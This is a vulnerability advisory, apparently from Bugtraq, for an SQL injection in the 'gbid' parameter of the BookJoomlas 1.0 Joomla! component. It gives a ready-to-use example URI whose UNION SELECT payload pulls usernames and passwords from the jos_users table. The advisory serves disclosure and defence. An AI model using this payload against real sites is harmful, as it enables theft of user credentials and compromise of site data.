Joomla! BookJoomlas Component 'gbid' Parameter SQL Injection Vulnerability

Bugtraq ID:	34392
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Apr 06 2009 12:00AM
Updated:	Apr 06 2009 08:46PM
Credit:	Salvatore "drosophila" Fresta
Vulnerable:	Nikola Arezina BookJoomlas 1.0
Not Vulnerable:

Joomla! BookJoomlas Component 'gbid' Parameter SQL Injection Vulnerability

The BookJoomlas component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Joomla! BookJoomlas Component 'gbid' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/path/index.php?option=com_bookjoomlas&Itemid=26&func=comment&gbid=-1 UNION ALL SELECT 1,2,NULL,4,NULL,6,7,NULL,9,CONCAT(username,0x3a,password),11,12,13,14,15,16 FROM jos_users

Joomla! BookJoomlas Component 'gbid' Parameter SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Joomla! BookJoomlas Component 'gbid' Parameter SQL Injection Vulnerability

References:

• BookJoomlas Project Page (Nikola Arezina)
  
• Joomla Component com_bookjoomlas SQL Injection Vulnerability ("Salvatore \"drosophila\" Fresta" )